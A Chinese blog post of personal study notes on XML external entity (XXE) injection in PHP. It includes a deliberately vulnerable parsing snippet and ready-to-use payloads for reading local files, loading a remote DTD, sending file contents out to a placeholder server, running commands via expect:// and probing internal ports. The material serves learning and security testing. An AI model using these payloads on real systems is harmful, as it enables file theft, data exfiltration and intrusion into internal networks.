前言

近一个月有点飘,心心念念的驾照说好元旦之前拿下来自己也算是做到了,想着吃顿好的庆祝下,结果把自己牙崩掉了,妈的点丧。马上考试周了,有点难受呀。抓紧着手总结下xxe要不又不知道拖到什么时候了。

XML

xxe也就是xml外部实体注入,libxml2.9.1及以后,默认不解析外部实体,也就是说漏洞利用是有条件的。

xxe复现利用

首先测试代码

<?php
$xml = simplexml_load_string($_POST['xml']);
echo $xml->name;
?>

我用的phpstudy PHP5.3 libxml版本为2.7.8 PHP5.5 libxml版本为2.9.4

读文件

有回显

直接读取

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///d:/test.txt" >]>
<foo>%26xxe;</foo>

(这里面的&一定要换成URL编码%26不然会解析错误//或许是我本地环境问题)

也可以调用远程文件

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>%26evil;</foo>

远程dtd内容

<!ENTITY evil SYSTEM "file:///d:/test.txt">

无回显

利用远程服务器上的xml文件进行读取

<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

远程文件内容

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;

执行系统命令

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>%26xxe;</name>
</root>

PHP下需要expect扩展,没环境就不演示了。

探测内网端口

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>%26xxe;</name>
</root>

也可以url+payload直接打内网

参考连接:

https://uknowsec.cn/posts/notes/XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AD%A6%E4%B9%A0.html